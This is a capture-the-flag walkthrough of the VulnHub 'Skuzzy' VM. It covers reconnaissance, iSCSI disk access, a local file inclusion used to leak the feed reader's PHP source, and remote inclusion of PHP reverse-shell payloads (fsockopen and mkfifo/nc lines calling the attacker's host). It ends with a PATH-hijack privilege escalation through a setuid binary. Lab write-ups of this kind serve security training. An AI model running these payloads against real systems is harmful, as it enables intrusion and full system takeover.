Details
This machine is https://www.vulnhub.com/entry/ew_skuzzy-1,184/
Recon Phase
I started by finding the target machine on the network
root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00039s latency).
MAC Address: 0A:00:27:00:00:19 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00038s latency).
MAC Address: 08:00:27:EB:75:92 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.0077s latency).
MAC Address: 08:00:27:60:88:83 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.86 seconds
I then carried out a service discovery scan
root@kali:~# nmap -sV 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.0019s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
3260/tcp open iscsi?
MAC Address: 08:00:27:60:88:83 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.79 seconds
Shell Hunting
My first port of call was the webserver at http://192.168.56.102
Well there was nothing obvious but it suggested dirbuster, so why not, I fired it up to see what I found
This led to nothing, so I began to research what iscsi was, which led to https://www.pentestpartners.com/security-blog/an-interesting-route-to-domain-admin-iscsi/ and then https://help.ubuntu.com/lts/serverguide/iscsi-initiator.html which I quickly installed, before testing it against the target
root@kali:~# iscsiadm -m discovery -t st -p 192.168.56.102:3260
192.168.56.102:3260,1 iqn.2017-02.local.skuzzy:storage.sys0
root@kali:~# iscsiadm -m node --login
Logging in to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.56.102,3260] (multiple)
Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.56.102,3260] successful.
Now logged in I checked for loaded disks
root@kali:~# fdisk -l
Disk /dev/sda: 80 GiB, 85899345920 bytes, 167772160 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x1a346333
Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 163577855 163575808 78G 83 Linux
/dev/sda2 163579902 167770111 4190210 2G 5 Extended
/dev/sda5 163579904 167770111 4190208 2G 82 Linux swap / Solaris
Disk /dev/sdb: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
With the new disk loaded I needed to mount it
root@kali:~# mkdir /tmp/skuzzy
root@kali:~# mount /dev/sdb /tmp/skuzzy
root@kali:~# cd /tmp/skuzzy
root@kali:~# ls -la
drwxr-xr-x 3 root root 4096 Feb 28 2017 .
drwxrwxrwt 19 root root 4096 Aug 28 20:34 ..
-rw-r--r-- 1 root root 104857600 Mar 5 2017 bobsdisk.dsk
-rw-r--r-- 1 root root 143 Feb 28 2017 flag1.txt
drwx------ 2 root root 16384 Feb 28 2017 lost+found
This gave me the first flag
root@kali:~# cat flag1.txt
Congratulations! You've discovered the first flag!
flag1{c0abc15976b98a478150c900ebb0c86f0327f4dd}
Let's see how you go with the next one...
The other file of interest was the .dsk file, which I inspected
root@kali:~# strings bobsdisk.dsk
[SNIP]
/media/bobsdisk/flag2.txt
U3210
#"!
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
Bob.
Cheers,
[SNIP]
The output was massive but had flag2 in, I also then checked it for any more flag things
root@kali:~# strings bobsdisk.dsk | grep flag
/media/bobsdisk/flag2.txt
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
/media/bobsdisk/flag2.txt
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
I ended up with flag 2 and 3 from this
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84}
Now, this wasn't exactly the intended route to the flags, if you extract the dsk file you end up with 2 emails, one contains flag2 and is in plain text which gives hints on how to decrypt the second encrypted version. But who doesn't enjoy a good shortcut to the flags?
Around the text of the 3rd flag there were some more useful things
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?
These seemed to be urls, so I checked them out starting with http://192.168.56.102/5560a1468022758dba5e92ac8f2353c0/
and within the source I found something
R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJr
ZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZl
bGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBi
YWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApK
ZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56
YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAg
TmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25l
IGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVh
ZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2Vvcmdl
IENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK
This was base64 which decoded to
George Costanza: [Soup Nazi gives him a look] Medium turkey chili.
[instantly moves to the cashier]
Jerry Seinfeld: Medium crab bisque.
George Costanza: [looks in his bag and notices no bread in it] I didn't get any bread.
Jerry Seinfeld: Just forget it. Let it go. George Costanza: Um, excuse me, I - I think you forgot my bread.
Soup Nazi: Bread, $2 extra.
George Costanza: $2? But everyone in front of me got free bread.
Soup Nazi: You want bread?
George Costanza: Yes, please.
Soup Nazi: $3!
George Costanza: What?
Soup Nazi: NO FLAG FOR YOU
Which was a reference to http://seinfeld.wikia.com/wiki/The_Soup_Nazi but didn't seem helpful. So, I moved onto http://192.168.56.102/c2444910794e037ebd8aaf257178c90b/
I began to look round this web app, checking each page
Then onto feed reader
The url was http://192.168.56.102/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt which seemed to load the data from a remote file, so I wanted to try and include a reverse shell from my kali machine. To do this, I took a webshell from php and modified it to point at me
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html/php-reverse-shell.txt
Which I then modified, and setup the apache2 webserver
root@kali:~# apache2ctl start
Then setup a listener to receive the connection
root@kali:~# nc -nlvp 4444
I then tried to trigger it by going to http://192.168.56.102/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http://192.168.56.101/php-reverse-shell.txt
This began a hunt for a way of including the file, I started by loading the text file I knew could be included encase it had a key in it, so I went to http://192.168.56.102/c2444910794e037ebd8aaf257178c90b/data.txt
It seemed to use a special format, but it didn't help with the key problem. Running out of ideas for the ?url param, I tried the ?p param and tried to include the /etc/passwd file by going to http://192.168.56.102/c2444910794e037ebd8aaf257178c90b/?p=/etc/passwd
Although it seemed to be blocked I was able to confirm LFI vuln by including the data.txt normally loaded by the url param at http://192.168.56.102/c2444910794e037ebd8aaf257178c90b/?p=data.txt
With some testing I found it was the presence of "passwd" in the url which triggered the error, I was able to confirm I could traverse directories by including the index page at http://192.168.56.102/c2444910794e037ebd8aaf257178c90b/?p=../index.html
My next attempt was to include the apache2 log files at http://192.168.56.102/c2444910794e037ebd8aaf257178c90b/?p=/var/log/apache2/access.log
This was also protected, my next attempt was a php filter to try and extract the source code, the filter I used was
php://filter/convert.base64-encode/resource=reader.php
And I triggered it by going to http://192.168.56.102/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=reader.php
PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmVlZCBSZWFkZXI8L2gxPgo8P3BocAppZihpc3NldCgkX0dFVFsndXJsJ10pKSB7CiAgICAkdXJsID0gJF9HRVRbJ3VybCddOwp9IGVsc2UgewogICAgcHJpbnQoIjxhIGhyZWY9XCI/cD1yZWFkZXImdXJsPWh0dHA6Ly8xMjcuMC4wLjEvYzI0NDQ5MTA3OTRlMDM3ZWJkOGFhZjI1NzE3OGM5MGIvZGF0YS50eHRcIj5Mb2FkIEZlZWQ8L2E+Iik7Cn0KCmlmKGlzc2V0KCR1cmwpICYmIHN0cmxlbigkdXJsKSAhPSAnJykgewoKICAgIC8vIFNldHVwIHNvbWUgdmFyaWFibGVzLgogICAgJHNlY3JldG9rID0gZmFsc2U7CiAgICAka2V5bmVlZGVkID0gdHJ1ZTsKCiAgICAvLyBMb2NhbGhvc3QgYXMgYSBzb3VyY2UgZG9lc24ndCBuZWVkIHRvIHVzZSB0aGUga2V5LgogICAgaWYocHJlZ19tYXRjaCgiI15odHRwOi8vMTI3LjAuMC4xIyIsICR1cmwpKSB7CiAgICAgICAgJGtleW5lZWRlZCA9IGZhbHNlOwogICAgICAgICRzZWNyZXRvayA9IHRydWU7CiAgICB9CgogICAgLy8gSGFuZGxlIHRoZSBrZXkgdmFsaWRhdGlvbiB3aGVuIGl0J3MgbmVlZGVkLgogICAgaWYoJGtleW5lZWRlZCkgewogICAgICAgICRrZXkgPSAkX0dFVFsna2V5J107CiAgICAgICAgaWYoaXNfYXJyYXkoJGtleSkpIHsKICAgICAgICAgICAgZGllKCJBcnJheSB0cmljayBpcyBtaXRpZ2F0ZWQgOykiKTsKICAgICAgICB9CiAgICAgICAgaWYoaXNzZXQoJGtleSkgJiYgc3RybGVuKCRrZXkpID09ICc0NycpIHsKCSAgICAkaGFzaGVka2V5ID0gaGFzaCgnc2hhMjU2JywgJGtleSk7CiAgICAgICAgICAgICRzZWNyZXQgPSAiNWNjZDBkYmRlZWZiZWUwNzhiODhhNmU1MmRiOGMxY2FhOGRkODMxNWYyMjdmZTFlNmFlZTZiY2I2ZGI2MzY1NiI7CgogICAgICAgICAgICAvLyBJZiB5b3UgY2FuIHVzZSB0aGUgZm9sbG93aW5nIGNvZGUgZm9yIGEgdGltaW5nIGF0dGFjawogICAgICAgICAgICAvLyB0aGVuIGdvb2QgbHVjayA6KSBCdXQuLiBZb3UgaGF2ZSB0aGUgc291cmNlIGFueXdheSwgcmlnaHQ/IDopIAoJICAgIGlmKHN0cmNtcCgkaGFzaGVka2V5LCAkc2VjcmV0KSA9PSAwKSB7CiAgICAgICAgICAgICAgICAkc2VjcmV0b2sgPSB0cnVlOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZGllKCJTb3JyeS4uLiBBdXRoZW50aWNhdGlvbiBmYWlsZWQuIEtleSB3YXMgaW52YWxpZC4iKTsKCSAgICB9CgogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGRpZSgiQXV0aGVudGljYXRpb24gaW52YWxpZC4gWW91IG1pZ2h0IG5lZWQgYSBrZXkuIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEp1c3QgdG8gbWFrZSBzdXJlIHRoZSBhYm92ZSBrZXkgY2hlY2sgd2FzIHBhc3NlZC4KICAgIGlmKCEkc2VjcmV0b2spIHsKICAgICAgICBkaWUoIlNvbWV0aGluZyB3ZW50IHdyb25nIHdpdGggdGhlIGF1dGhlbnRpY2F0aW9uIHByb2Nlc3MiKTsKICAgIH0KCiAgICAvLyBOb3cgbG9hZCB0aGUgY29udGVudHMgb2YgdGhlIGZpbGUgd2UgYXJlIHJlYWRpbmcsIGFuZCBwYXJzZQogICAgLy8gdGhlIHN1cGVyIGF3ZXNvbWVuZXNzIG9mIGl0cyBjb250ZW50cyEKICAgICRmID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7CgogICAgJHRleHQgPSBwcmVnX3NwbGl0KCIvIyN0ZXh0IyMvcyIsICRmKTsKCiAgICBpZihpc3NldCgkdGV4dFsnMSddKSAmJiBzdHJsZW4oJHRleHRbJzEnXSkgPiAwKSB7CiAgICAgICAgcHJpbnQoJHRleHRbJzEnXSk7CiAgICB9CgogICAgcHJpbnQgIjxiciAvPjxiciAvPiI7CgogICAgJHBocCA9IHByZWdfc3BsaXQoIi8jI3BocCMjL3MiLCAkZik7CgogICAgaWYoaXNzZXQoJHBocFsnMSddKSAmJiBzdHJsZW4oJHBocFsnMSddKSA+IDApIHsgCiAgICAgICAgZXZhbCgkcGhwWycxJ10pOwogICAgICAgIC8vICJJZiBFdmFsIGlzIHRoZSBhbnN3ZXIsIHlvdSdyZSBhc2tpbmcgdGhlIHdyb25nIHF1ZXN0aW9uISIgLSBTRwogICAgICAgIC8vIEl0IGh1cnRzIG1lIHRvIHdyaXRlIGluc2VjdXJlIGNvZGUgbGlrZSB0aGlzLCBidXQgaXQgaXMgaW4gdGhlCiAgICAgICAgLy8gbmFtZSBvZiBlZHVjYXRpb24sIGFuZCBGVU4sIHNvIEknbGwgbGV0IGl0IHNsaWRlIHRoaXMgdGltZS4KICAgIH0KfQoK
This was the source code of the reader page in base64, so I decoded it
<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Feed Reader</h1>
<?php
if(isset($_GET['url'])) {
$url = $_GET['url'];
} else {
print("<a href=\"?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\">Load Feed</a>");
}
if(isset($url) && strlen($url) != '') {
// Setup some variables.
$secretok = false;
$keyneeded = true;
// Localhost as a source doesn't need to use the key.
if(preg_match("#^http://127.0.0.1#", $url)) {
$keyneeded = false;
$secretok = true;
}
// Handle the key validation when it's needed.
if($keyneeded) {
$key = $_GET['key'];
if(is_array($key)) {
die("Array trick is mitigated ;)");
}
if(isset($key) && strlen($key) == '47') {
$hashedkey = hash('sha256', $key);
$secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";
// If you can use the following code for a timing attack
// then good luck :) But.. You have the source anyway, right? :)
if(strcmp($hashedkey, $secret) == 0) {
$secretok = true;
} else {
die("Sorry... Authentication failed. Key was invalid.");
}
} else {
die("Authentication invalid. You might need a key.");
}
}
// Just to make sure the above key check was passed.
if(!$secretok) {
die("Something went wrong with the authentication process");
}
// Now load the contents of the file we are reading, and parse
// the super awesomeness of its contents!
$f = file_get_contents($url);
$text = preg_split("/##text##/s", $f);
if(isset($text['1']) && strlen($text['1']) > 0) {
print($text['1']);
}
print "<br /><br />";
$php = preg_split("/##php##/s", $f);
if(isset($php['1']) && strlen($php['1']) > 0) {
eval($php['1']);
// "If Eval is the answer, you're asking the wrong question!" - SG
// It hurts me to write insecure code like this, but it is in the
// name of education, and FUN, so I'll let it slide this time.
}
}
I now knew how to setup the key and had the hashed version of the key as
5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656
Knowing the length of the password was 47 from the source code helped if I needed to brute force it but I tried an online cracker first at https://md5hashing.net/hash/sha256/ which gave me a result of
flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
This gave me flag4 which doubled as the key. Now armed with the key and knowledge of the method used for parsing the scripts I created a .txt file called remote.txt which contained the exploit
##php##
$sock=fsockopen("192.168.56.101",4444);exec("/bin/sh -i <&3 >&3 2>&3");
##php##
I then made sure the apache2 server was still running
root@kali:~# apache2ctl start
And fired up a listener
root@kali:~# nc -nlvp 4444
And went to trigger it by going to http://192.168.56.102/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http://192.168.56.101/remote.txt&key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
I then checked the listener
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 51964
But the connected closed instantly, so I updated the remote.txt to a have a different reverse shell script in
##php##
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 4444 >/tmp/f");
##php##
Setup another listener
root@kali:~# nc -nlvp 4444
And triggered it at http://192.168.56.102/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http://192.168.56.101/remote.txt&key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b} again
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 51972
/bin/sh: 0: can't access tty; job control turned off
$
This time I got a shell
Priv Esc
I started by upgrading the shell with the python trick
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@skuzzy:~/html/c2444910794e037ebd8aaf257178c90b$
Then looked for potential takeover users
www-data@skuzzy:~/html/c2444910794e037ebd8aaf257178c90b$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
skuzzy:x:1000:1000:skuzzy skuzbucket,,,:/home/skuzzy:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
The only target user was skuzzy, so I went over to their home to look
www-data@skuzzy:~/html/c2444910794e037ebd8aaf257178c90b$ cd /home/skuzzy
www-data@skuzzy:/home/skuzzy$ ls -la
drwxr-xr-x 3 skuzzy skuzzy 4096 Mar 4 2017 .
drwxr-xr-x 3 root root 4096 Feb 27 2017 ..
-rw------- 1 skuzzy skuzzy 132 Mar 5 2017 .bash_history
-rw-r--r-- 1 skuzzy skuzzy 220 Feb 27 2017 .bash_logout
-rw-r--r-- 1 skuzzy skuzzy 3771 Feb 27 2017 .bashrc
drwx------ 2 skuzzy skuzzy 4096 Feb 27 2017 .cache
-rw-r--r-- 1 skuzzy skuzzy 655 Feb 27 2017 .profile
-rw------- 1 skuzzy skuzzy 0 Mar 2 2017 .python_history
-rw-r--r-- 1 skuzzy skuzzy 0 Feb 27 2017 .sudo_as_admin_successful
-rw------- 1 root root 2617 Mar 4 2017 .viminfo
Here I spent a while looking around, looking for files, processes etc. Running into a few jokes and distractions. I attempted a kernel exploit just to find gcc wasn't complete, but I eventually looked for files with the setuid bit enabled
www-data@skuzzy:~$ find / -perm -u=s 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/sudo
/bin/fusermount
/bin/mount
/bin/su
/bin/ntfs-3g
/bin/ping
/bin/ping6
/bin/umount
/opt/alicebackup
The file which caught my attention was the alicebackup file, so I went to take a look
www-data@skuzzy:~$ cd /opt
www-data@skuzzy:/opt$ ls -la
drwxr-xr-x 2 root root 4096 Mar 2 2017 .
drwxr-xr-x 23 root root 4096 Feb 28 2017 ..
-rwsr-xr-x 1 root root 8736 Mar 2 2017 alicebackup
I then tried to run it
www-data@skuzzy:/opt$ ./alicebackup
uid=0(root) gid=0(root) groups=0(root),33(www-data)
ssh: Could not resolve hostname alice.home: Temporary failure in name resolution
lost connection
Then began to inspect it
www-data@skuzzy:/opt$ strings alicebackup
[SNIP]
scp /tmp/special bob@alice.home:~
[SNIP]
This looked good, it seemed to call scp but without using an absolute path, by putting my own version of scp in PATH before the expected one I could make it do anything. So, I setup one up which would spawn a shell, and as this program ran as root, it should be a root shell
www-data@skuzzy:/opt$ echo '/bin/sh' > /tmp/scp
I made it executable
www-data@skuzzy:/opt$ chmod 777 /tmp/scp
Then setup the path
www-data@skuzzy:/opt$ export PATH=/tmp:$PATH
Finally triggering it hoping to spawn a shell
www-data@skuzzy:/opt$ ./alicebackup
uid=0(root) gid=0(root) groups=0(root),33(www-data)
#
It created a shell, I wanted to confirm it had elevated me to root
# whoami
root
With confirmation it was a root shell, all I had to do was grab the flag
# cd /root
# ls -la
drwx------ 3 root root 4096 Mar 2 2017 .
drwxr-xr-x 23 root root 4096 Feb 28 2017 ..
-rw-r--r-- 1 root root 3106 Oct 23 2015 .bashrc
-rw-r--r-- 1 root root 148 Aug 18 2015 .profile
drwx------ 2 root root 4096 Mar 2 2017 .ssh
-rw-r--r-- 1 root root 493 Mar 2 2017 flag.txt
# cat flag.txt
Congratulations!
flag5{42273509a79da5bf49f9d40a10c512dd96d89f6a}
You've found the final flag and pwned this CTF VM!
I really hope this was an enjoyable challenge, and that my trolling and messing with you didn't upset you too much! I had a blast making this VM, so it won't be my last!
I'd love to hear your thoughts on this one.
Too easy?
Too hard?
Too much stuff to install to get the iSCSI initiator working?
Drop me a line on twitter @vortexau, or via email vortex@juicedigital.net
This machine was a lot of fun and was full of jokes which made it a bit different, I certainly hope more machines like this one are released!